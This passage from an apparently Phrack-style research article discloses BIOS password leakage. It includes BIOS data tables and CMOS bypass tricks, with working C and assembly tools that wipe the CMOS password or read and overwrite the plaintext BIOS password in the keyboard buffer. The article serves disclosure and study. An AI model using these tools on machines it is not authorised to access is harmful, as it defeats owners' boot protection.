0x8D 1  byte  Hard disk drive error
              Bit 7 indicates bad sector
               0b = not used
               1b = bad sector detected
              Bit 6 indicated ECC error
               0b = not used
               1b = uncorrectable ECC error occurred
              Bit 5 indicates media state
               0b = not used
               1b = media changed
              Bit 4 indicates sector state
               0b = not used
               1b = ID or target sector not found
              Bit 3 indicates media change request state
               0b = not used
               1b = media change requested
              Bit 2 indicates command state
               0b = not used
               1b = command aborted
              Bit 1 indicates drive track error
               0b = not used
               1b = track 0 not found
              Bit 0 indicates address mark
               0b = not used
               1b = address mark not found
0x8E 1  byte  Hard disk drive task complete flag
0x8F 1  byte  Floppy disk drive information
              Bit 7 not used
              Bit 6 indicates drive 1 type determination
               0b = not determined
               1b = determined
              Bit 5 indicates drive 1 multirate status
               0b = no
               1b = yes
              Bit 4 indicates diskette 1 change line detection
               0b = no
               1b = yes
              Bit 3 not used
              Bit 2 indicates drive 0 type determination
               0b = not determined
               1b = determined
              Bit 1 indicates drive 0 multirate status
               0b = no
               1b = yes
              Bit 0 indicates diskette 0 change line detection
               0b = no
               1b = yes
0x90 1  byte  Diskette 0 media state
              Bit 7-6 indicate transfer rate
               00b = 500 Kbit/sec
               01b = 300 Kbit/sec
               10b = 250 Kbit/sec
               11b = 1 Mbit/sec
              Bit 5 indicates double stepping
               0b = not required
               1b = required
```

```
              Bit 4 indicates media in floppy drive
               0b = unknown media
               1b = known media
              Bit 3 not used
              Bit 2-0 indicates last access
               000b = trying 360k media in 360K drive
               001b = trying 360K media in 1.2M drive
               010b = trying 1.2M media in 1.2M drive
               011b = known 360K media on 360K drive
               100b = known 360K media in 1.2M drive
               101b = known 1.2M media in 1.2M drive
               110b = not used
               111b = 720K media in 720K drive or 1.44M media
                       in 1.44M drive
0x91 1  byte   Diskette 1 media state
              Bit 7-6 indicate transfer rate
               00b = 500 Kbit/sec
               01b = 300 Kbit/sec
               10b = 250 Kbit/sec
               11b = 1 Mbit/sec
              Bit 5 indicates double stepping
               0b = not required
               1b = required
              Bit 4 indicates media in floppy drive
               0b = unknown media
               1b = known media
              Bit 3 not used
              Bit 2-0 indicates last access
               000b = trying 360k media in 360K drive
               001b = trying 360K media in 1.2M drive
               010b = trying 1.2M media in 1.2M drive
               011b = known 360K media on 360K drive
               100b = known 360K media in 1.2M drive
               101b = known 1.2M media in 1.2M drive
               110b = not used
               111b = 720K media in 720K drive or 1.44M media in
                       1.44M drive
0x92 1  byte   Diskette 0 operational starting state
              Bit 7 indicates data transfer rate
               00b = 500 Kbit/sec
               01b = 300 Kbit/sec
               10b = 250 Kbit/sec
               11b = 1 Mbit/sec
              Bits 5-3 not used
              Bit 2 indicates drive determination
               0b = drive type not determined
               1b = drive type determined
              Bit 1 indicates drive multirate status
               0b = drive is not multirate
               1b = drive is multirate
              Bit 0 indicates change line detection
               0b = no change line detection
               1b = change line detection
0x93 1  byte  Diskette 1 operational starting status
              Bit 7 indicates data transfer rate
               00b = 500 Kbit/sec
               01b = 300 Kbit/sec
               10b = 250 Kbit/sec
               11b = 1 Mbit/sec
              Bits 5-3 not used
              Bit 2 indicates drive determination
               0b = drive type not determined
               1b = drive type determined
              Bit 1 indicates drive multirate status
               0b = drive is not multirate
               1b = drive is multirate
```

```
               Bit 0 indicates change line detection
                0b = no change line detection
                1b = change line detection
0x94 1  byte   Diskette 0 current cylinder
0x95 1  byte   Diskette 1 current cylinder
0x96 1  byte   Keyboard status flags 3
               Bit 7, 1b = reading two byte keyboard ID in progress
               Bit 6, 1b = last code was first ID character
               Bit 5, 1b = forced Numlock on
               Bit 4 indicates presence of 101/102 key keyboard
                0b = present
                1b = not present
               Bit 3 indicates right alt key active
                0b = not active
                1b = active
               Bit 2 indicates right control key active
                0b = not active
                1b = active
               Bit 1, 1b = last scancode was E0h
               Bit 0, 1b = last scancode was E1h
0x97 1  byte   Keyboard    status flags 4
               Bit 7, 1b = keyboard transmit error
               Bit 6, 1b = LED update in progress
               Bit 5, 1b = re-send code received
               Bit 4, 1b = acknowledge code received
               Bit 3, 1b = reserved
               Bit 2 indicates CapsLock LED state
                0b = CapsLock LED off
                1b = CapsLock LED on
               Bit 1 indicates NumLock LED state
                0b = NumLock LED off
                1b = NumLock LED on
               Bit 0 indicates ScrollLock LED state
                0b = ScrollLock LED off
                1b = ScrollLock LED on
0x98 4  bytes  Segment:Offset address of user wait flag pointer
0x9C 4  bytes  User wait count
0xA0 1  byte   User wait flag
               Bit  7, 1b = wait time has elapsed
               Bit 6-1 not used
               Bit 0 indicates wait progress
                0b = no wait in progress
                1b = wait in progress
0xA1 7  bytes  Local area network (LAN) bytes
0xA8 4  bytes  Segment:Offset address of video parameter control block
0xAC 68 bytes  Reserved
0xF0 16 bytes  Intra-applications communications area

The BDA is usually 255 bytes long and is created by BIOS in RAM at
0x0040000.

As you can see above, there is a keyboard buffer at 0x1E, which is ruled
thanks to two flags at 0x1A and 0x1C which point to the next and last
caracters in this buffer. By dumping this buffer (see section 3), I
realised that this buffer is filled with the caracter and then its scan
code.


Assuming the password is correct, the booting process will go on. If you
press a spacial key, (usually the <F1> or <del> key), you will enter
 in
the so called 'Bios Setup', which is actually a CMOS configuration.
Otherwise, the BIOS will be in charge of loading your Os... Let's
give a few details on this next step.
```

The BIOS is carried of offering basic input/output operations mainly through the following interrupts : (ripped from www.bioscentral.com [8]).

figure 3 : Bios Services.

Int	Adress	Type	Description
0x00	0000:0000h	Processor	Divide by zero
0x01	0000:0004h	Processor	Single step
0x02	0000:0008h	Processor	Non maskable interrupt
0x03	0000:000Ch	Processor	Breakpoint
0x04	0000:0010h	Processor	Arithmetic overflow
0x05	0000:0014h	Software	Print screen
0x06	0000:0018h	Processor	Invalid op code
0x07	0000:001Ch	Processor	Coprocessor not available
0x08	0000:0020h	Hardware	System timer service
0x09	0000:0024h	Hardware	Keyboard device service
0x0A	0000:0028h	Hardware	Cascade from 2nd programmable
0x0B	0000:002Ch	Hardware	Serial port service
0x0C	0000:0030h	Hardware	Serial port service
0x0D	0000:0034h	Hardware	Parallel printer service
0x0E	0000:0038h	Hardware	Floppy disk service
0x0F	0000:003Ch	Hardware	Parallel printer service
0x10	0000:0040h	Software	Video service routine
0x11	0000:0044h	Software	Equipment list service
0x12	0000:0048H	Software	Memory size service routine
0x13	0000:004Ch	Software	Hard disk drive service
0x14	0000:0050h	Software	Serial communications
0x15	0000:0054h	Software	System services support
0x16	0000:0058h	Software	Keyboard support service
0x17	0000:005Ch	Software	Parallel printer support
0x18	0000:0060h	Software	Load and run ROM BASIC
0x19	0000:0064h	Software	DOS loading routine
0x1A	0000:0068h	Software	Real time clock service
0x1B	0000:006Ch	Software	CRTL - BREAK service
0x1C	0000:0070h	Software	User timer service routine
0x1D	00000074h	Software	Video control parameter
0x1E	0000:0078h	Software	Floppy disk parameter
0x1F	0000:007Ch	Software	Video graphics character
0x20-0x3F	0000:0080f (or 0000:00FCh)	Software	DOS interrupt points
0x40	0000:0100h	Software	Floppy disk revector
0x41	0000:0104h	Software	hard disk drive C: parameter
0x42	0000:0108h	Software	EGA default video driver
0x43	0000:010Ch	Software	Video graphics characters
0x44	0000:0110h	Software	Novel Netware API
0x45	0000:0114h	Software	Not used
0x46	0000:0118h	Software	Hard disk drive D: parameter
0x47	0000:011Ch	Software	Not used
0x48		Software	Not used
0x49	0000:0124h	Software	Not used
0x4A	0000:0128h	Software	User alarm
0x4B-0x63	0000:012Ch	Software	Not used
0x64		Software	Novel Netware IPX
0x65-0x66		Software	Not used
0x67		Software	EMS support routines
0x68-0x6F	0000:01BCh	Software	Not used
0x70	0000:01c0h	Hardware	Real time clock
0x71	0000:01C4h	Hardware	Redirect interrupt cascade
0x72-0x74	0000:01C8h (or 0000:01D0h)	Hardware	Reserved
0x75	0000:01D4h	Hardware	Math coprocessor exception
0x76	0000:01D8h	Hardware	Hard disk support
0x77	0000:01DCh	Hardware	Suspend request
0x78-0x79	0000:01E0h	Hardware	Not used
0x7A		Software	Novell Netware API
0x78-0xFF	0000:03FCh	Software	Not used

The BIOS interrupts are very basic but sufficient for the OS to
be launched by reading the boot sector of the selected bootable device in
memory at 0x7C00.Then, code execution is set to that adress and the OS
takes control.

Ok, now kids, here is what you've been waiting for : a quick sumary of
available techniques to bypass the CMOS password. Note those techniques
are obvious once you understand how the whole process works...
The following methods are taken from Christophe Grenier's page [9].
I would like to thank him for helping me by mail in my researches
concerning Bios disassembly.

Bypassing a Bios password if the computer is off can't be done with
software : until the password is entered correctly, the computer will
simply not boot. Therefore, a first methode is to replace the CMOS chip
(which contains the password) by a new (passwordless one).
The CMOS can also be reset by switching off a battery on the mother
board that supplies its power. All those methodes, along with more
sofisticated ones consisting in court-circuiting the CMOS are
discribed on Christophe Grenier's Home Page [9].

Software based methods to recover a CMOS password or generate one
that has the same checksum can therefore only be done if the
computer is on. Appart from manufacturers backdoors [10], finding such
a password is technically very difficult, time consuming and
moreover, those decyphering techniques are very model specific.
But in the case of Toshiba laptops, there is an other way to
reset the password... If you perform a 'string' command on a
Toshiba Bios ROM, or disassemble it, you'll notice the following string :

```
  db  44h ; D
  db  6Fh ; o
  db  20h ;
  db  79h ; y
  db  6Fh ; o
  db  75h ; u
  db  20h ;
  db  77h ; w
  db  61h ; a
  db  6Eh ; n
  db  74h ; t
  db  20h ;
  db  74h ; t
  db  6Fh ; o
  db  20h ;
  db  63h ; c
  db  72h ; r
  db  65h ; e
  db  61h ; a
  db  74h ; t
  db  65h ; e
  db  20h ;
  db  61h ; a
  db  20h ;
  db  70h ; p
  db  61h ; a
  db  73h ; s
  db  73h ; s
  db  77h ; w
  db  6Fh ; o
  db  72h ; r
  db  64h ; d
  db  20h ;
  db  64h ; d
  db  69h ; i
```

```
  db  73h ; s
  db  6Bh ; k
  db  65h ; e
  db  74h ; t
  db  74h ; t
  db  65h ; e
  db  3Fh ; ?
```

What is this ?? Well, as mentioned on Bugtraq mailing list [11], there is a way to reset the CMOS password by creating a boot disk whose first sectors contains the string "KEY" followed by 0x0000.

This is it for my brief description of the Bios. If you look back at the figures mentionned above, you'll realise that most informations concerning your hardware is stored inside the CMOS or the BDA.
Well, there is an even much complete way to gather informations on a computer. It is called SMBIOS.
SMBIOS is a standard defined by DMTF [12], which is an aliance of major hardware manufacturers to create a powerfull way to deal with hardware.
You can download a nice utility to get a detailed report on your system thanks to DMIDECODE you can get at freshmeat web site [13]. Describing the SMBIOS structure is off topic since we won't use it in this paper, refer to those links for more infos.

Enougth description, let's move to a more practical point of view...

--[3 - Physical Ports Acess : CMOS Phun

We will first focus on physical ports manipulation : the Bios can do it, so why couldn't we ?

The two following techniques were pretty common under MS DOS several years ago (see the "Bios Companion" [4] for instance).
It made use of debug to access physical ports. Under Linux, this requires special permissions that are given using ioperm.

As seen earlier,CMOS is not loaded on memory : it is set on a different chip. Interraction with the CMOS is done through physical ports 0x70 and 0x71.
All physical ports operations follow the same scheme
only the port numbers change. The first one is used to seek a pointer within the chip, and the other one is used to read or write at this position.

Here is how to interract with a CMOS chip :
Writing to 0x70 with a given value will in return allow us to read the actual content of the CMOS chip at this offset on physical port 0x71.

```
/*
*                       CMOS DUMPER
*          Endrazine endrazine@pulltheplug.org
*
*
* compiling : gcc cmosd.c -o cmosd.o
* usage : #cmosd > cmos.dump
*
*/
#include <stdio.h>
#include <unistd.h>
#include <asm/io.h>


int main ()
{
        int i;

        if (ioperm(0x70, 2, 1))   //Ask Permission (set to 1)
        {                         //for ports 0x70 and 0x71
                perror("ioperm");
                exit (1);
        }

        for (i=0;i<64;i++)
        {
          outb(i,0x70);// Write to port 0x70
          usleep(100000);
          printf("%c",inb(0x71));

        }

        if (ioperm(0x71, 2, 0)) // We don't need Permission anymore
        {                       // (set permissions to 0).
                 perror("ioperm");
                 exit(1);
        }

        exit (0);// Quit
}
```

CMOS has a crc checksum stored at offset 0x2e on the CMOS chip, as shown earlier in the CMOS Map. The way this checksum is calculated depends on the model of the CMOS.

The main idea to reset CMOS is to make the checksum fail.
This will allow Bios to reset the CMOS to its defaults settings since the flag at 0x0E (in CMOS) will be set to false, resulting in a CMOS flush. Hence, this will remove the BIOS Password. To do so, we will use a trick from the "Bios Companion" [4] : writing on port 0x70 with a value of 0x2e corresponding to the CMOS checksum offset and then writing on port 0x71 with an arbitrary value which will replace the actual checksum.
Christophe Grenier (www.cgsecurity.com) noticed that setting the checksum to any value between 0x10 and 0x2F will result in a wrong checksum (I can't explain why since the algorithmes used to calculate those checksums are - as far as I know - not standard. I can only suppose Bios manufacturers decided that the algorithmes would have to be made so that such values are impossible in any CMOS configuration).

```
/*
*                        Reset CMOS
*           Endrazine endrazine@pulltheplug.org
*/
#
#include <stdio.h>
#include <unistd.h>
#include <sys/io.h>


int main ()
{
        ioperm(0x70, 1, 1);   //Ask Permission (set to 1)
        ioperm(0x71, 1, 1);

          outb(0x2e,0x70);// Write to port 0x70
          usleep(100000);
          outb(0xff,0x71);

        if (ioperm(0x70, 3, 0))
        {
                perror("ioperm");
                exit(1);
        }
        exit (0);// Quit
}
```

--[4 - Physical memory access applyed to Keyboard buffer access

Let's now focus on raw memory access : reading and writing to /dev/mem...

As explained in the first section of this paper :
When entering a Bios Password at command prompt, the input is stored at adress 0x41e. It is then compared to the cyphered one stored in CMOS for validation. Older attacks against Bios passwords were merely attempts to decypher the CMOS hash (see Christophe GRenier's page for exemples of such tricks). As Christophe Grenier explained me (by mail), reversing the BIOS ROM is unecessary : one can build a conversion table by using a diffing approche (ie : entering a password and dump the CMOS, then change one letter in the password and see what has changed and so on... Christophe even told me this was the methodology he used to build his password cracking tools).

But the keyboard Buffer is a circular one, whish means that once a character is read it is flushed. At least it should be... In fact, I realized that Bioses did not flushed this buffer after use. In other terms, the flags at 0x1A and 0x1C in DBA are not updated after the user enters the password. Hence, the buffer used by the password is never flushed...
Therefore, the password remains in plain text at physical adress 0x41e.
Note that this done by Bios functions and is OS independant.

If you experiment the code below, you will notice that other softwares do not always use those flags correctly. For instance, I noticed that grub and lilo did not read the 0x1A flag and use the whole buffer, even if it has not been flushed ! I've not been able to find out any way to use this fact, but if you do, please send me a mail.

We will now create a piece of code to read the content of this buffer. This task isn't as easy as it may seem, since most OSes will not allow any program to perform direct physical memory reading. In fact, modern OSes do not work with physical but virtual memory and therefore, we cannot use any function part of the API handling memory adresses : they simply won't point to the rignt place. I've choosen to write an exemple under MS Dos because it is such a basic OS that no particular rights are equired to perform physical memory reading (MS Dos is not a mutliuser OS anyway and doesn't use virtual memory at all). I thought porting the code under Windows would be a very hard task since MS Dos and recent Windows (since Windows 2000) are not supposed to be compatible since Windows now as its own kernel. Furthermore, passing from a 16 bits architecture to a 32 bites one is usually difficult, and I thought running the exploit might need ring 0 privilege (ie system privilege). Well, I was wrong and porting the code under Windows was no big deal, as you will below. This code as been tested on the Toshiba computer used since the very beginning of this article under Windows XP Pro, and with the p100 MHz one under Windows 98 SE. It has also been tested under Windows Server 2000 (P4, 512 RAM).

```
;---------------- [ wbiosw.asm ]---------------------------------------


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;        Endrazine endrazine@pulltheplug.org         ;
;        Bios Password Physical Memory Reader        ;
;      Write to file Windows Compatible version      ;
;                                                    ;
;Compiling : A86 wbiosw.asm wbiosw.com               ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

code segment
        org 100h
        assume ds:code, es:code, cs:code

start:
        mov ah, 09h
        mov dx,offset welcome
        int 21h

        xor ax,ax
        int 16h

        mov ds, 40h                  ; This is the input buffer adress
        mov si, 01EH                 ; starting at 40h:01eh
        mov di,offset buffer
        mov cx,32

daloop:
        mov ax,[ds:si]
        mov [cs:di],ax
        inc di
        add si,2                    ; Replace this line by add si,4
                                    ; if you plan to use it under Dos
loop daloop

        mov ds,es

        mov ah, 3ch                 ; MS DOS Create file Function
        mov dx, offset fname
        xor cx,cx
        int 21h

        mov ax, 3d01h               ; MS DOS Open file Function
        int 21h
```

```
        mov handle,ax


        mov ah, 40h
        mov bx,handle
        mov cx,32
        mov dx, offset Msg
        int 21h                     ; Write buffer to file


        mov ax,4ch                  ; Quit
        int 21h



handle dw ?
welcome db 'Password dumper by Endrazine (endrazine@pulltheplug.org)',10,13
        db '',10,13
        db 'Dumping Password to Password.txt',10,13
        db 'Press any Key$',10,13
fname db 'Password.txt',0
Msg db 'Password is : ',0
buffer db 32 dup ?
end start

end


;-------------------------------------------------------------------------


Here comes the most interesting part (well, I find it interresting ;) :

Now, what about a Linux version ? Linux offers a way to access physical
memory : /dev/mem. In the following snippet, we will see how to read the
keyboard buffer, and even how to clear this buffer. Replacing the real
password with a fake one will also be shown. Therefore, writing a
patch under the form of a loadable kernel module by copying the
clear_bios_pwd function shouldn't be too hard.
This will be your homework ;)

Of course, this code was meant to be run as root.



;-------------------------------------------------------------------------
/*
*
*              bd.c coded by Endrazine
*             endrazine@pulltheplug.org
*
*
*
*/


#define BIOS_PWD_ADDR 0x041e

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/uio.h>
```

```
struct dumpbuff
{
         char tab[32];
};



int dump_bios_pwd(void)
{
        char tab[32];
        char tab2[16];
        int fd,a,i,j;

        fd =  open("/dev/mem", "r");

        if(fd == -1)
        {
                printf("cannot open /dev/mem");
                return 1;
        }

        a=lseek(fd,BIOS_PWD_ADDR,SEEK_SET);
        a=read(fd, &tab, 32);
        if(a<=0)
        {
                printf("cannot read /dev/mem");
                return 1;
        }

        close(fd);

        i=0;
        for (j=0;j<16;j++)
        {
                tab2[i]=tab[2*j];
                i++;
        }

        printf("\n\nPassword : ");
        for (j=0;j<16;j++)
        {
                printf("%c",tab2[j]);

        }

        printf("\n");
        return 0;

}
```

```
int clear_bios_pwd (void)
{


        FILE *f;
        struct dumpbuff b;
        int i;
        long j=1054;

        for (i=0;i<32;i++)
        {
                b.tab[i]=' ';
        }

        f=fopen("/dev/mem","r+");
        fseek(f,j,SEEK_SET);

        fwrite (&b, sizeof(struct dumpbuff),1,f);
        fclose(f);
        printf("\n[Buffer Cleared]\n");
        return 0;
}


int change_pwd()
{


        FILE *f;
        struct dumpbuff b;
        int i;
        long j=1054;
        char  pwd[18];
        char crap;

//Ask Pwd...

        printf("\n Enter new Pwd :\n(16 caratcters max)\n");


        for (i=0;i<18;i++)
        {
                pwd[i]=' ';
        }

        scanf("%s%c",&pwd,&crap);

        for (i=0;i<=15;i++)
        {
                b.tab[2*i]=pwd[i];
                b.tab[2*i+1]=' ';
        }


        f=fopen("/dev/mem","r+");
        fseek(f,j,SEEK_SET);

        fwrite (&b, sizeof(struct dumpbuff),1,f);
        printf("\n[Buffer Uptdated]\n");
        fclose(f);

        return 0;


}
```

```
int main(void)
{

        char choiceval=0;
        char crap;
        char tab3[100];

        printf("       _=?Bios Bumper?=_ \n\n\n");
        printf("     (endrazine@pulltheplug.org) \n");
        printf("        by Endrazine\n");

        while(choiceval !='x')
        {
                printf ("\n==============================\n");
                printf("[Keyboard buffer manipulation]\n");
                printf("==============================\n");
                printf("\n 1 - Display Password\n");
                printf(" 2 - Clear Keyboard Buffer\n");
                printf(" 3 - Enter new Password\n");
                printf("\n==============================\n");
                printf("\n x - Quit\n");

                scanf("%c%c",&choiceval,&crap);

                if (choiceval=='1')
                dump_bios_pwd();

                if (choiceval=='2')
                clear_bios_pwd();


                if (choiceval=='3')
                change_pwd();


        }
        return 0;
}
```

-- [5 - Final considerations

We've seen how low level access through physical ports and physical
memory can reveal interresting informations on the BIOS and CMOS chips.
Those techniques are not 'new' in themselves since OSes rely on them,
but the lack of publications on this topic made me feel this could be of
some interest to potential readers. Feel free to mail me if you experiment
those techniques and discover other applications of those.
I couldn't expose Bios ROM modifications in this article. I will sublit
a second paper later conserning those points.
I will particullary try to figure out how to fix the vulnerabilities
exposed in the present article by patching the Bios ROM.

-- [6 - Greetings & References

* Greetings :

Thanks to Christophe Grenier for his mails and patience. Thanks a lot to
m and Benoit for their support and relecture. I would also thank phrack's
staff and contributors for those 20+ years of intellectual stimultation
and endless source of creativity : this is what hacking is all about.
Readers that only read this article to figure out how to dump passwords
should go back to counter strike and msn messenger. Those who liked the
new ideas and methods can send me some feedback through mail :)

* References :

[1] sysodeco unpacker for Insyde Bioses ROM

http://www-user.TU-Cottbus.DE/~kannegv

[2] IDA Pro Freeware (Windows version)

http://www.datarescue.be/downloadfreeware.htm

[3] Intel Volume III

ftp://download.intel.com/design/Pentium4/manuals/

[4] The Bios Companion

Phil Croucher,2003 electrocution Technical Publishers

[5] The BIOS Survival Guide Version 5.4

Jean-Paul Rodrigue and Phil Croucher

http://www.lemig.umontreal.ca/bios/bios_sg.htm

(the web site is currently down)

[6] Award BIOS Reverse Engineering, Mappatutu Salihun Darmawan,
Code Breakers Journal

http://www.codebreakers-journal.com/include/getdoc.php?id=83&
article=38&mode=pdf

[7] Advanced BIOS Logo Reader

http://www.kaos.ru/biosgfx/index.html

```
[8] Bios Central Website

          http://bioscentral.com/


[9] Christophe Grenier's Cmos password recovery tools :

          http://www.cgsecurity.org/index.html?cmospwd.html


[10] Default Password List :

          http://www.cirt.net/cgi-bin/passwd.pl


[11] Bugtraq post on reseting Toshiba password using a boot disk

          http://seclists.org/lists/bugtraq/2000/Feb/0377.html


[12] SMBIOS Standard :

          http://www.dmtf.org/standards/published_documents/DSP0134.pdf


[13] DMIDECODE/SMBIOS, generates detailled reports under linux :

          http://freshmeat.net/projects/dmidecode/

|=[ EOF ]=---------------------------------------------------------------=|
```

Read more:http://www.intel-assembler.it/portale/5/BIOS-Information-Leakage/A-nice-doc-about-cmos-programming-in-asm.asp#ixzz3Im8yCsBj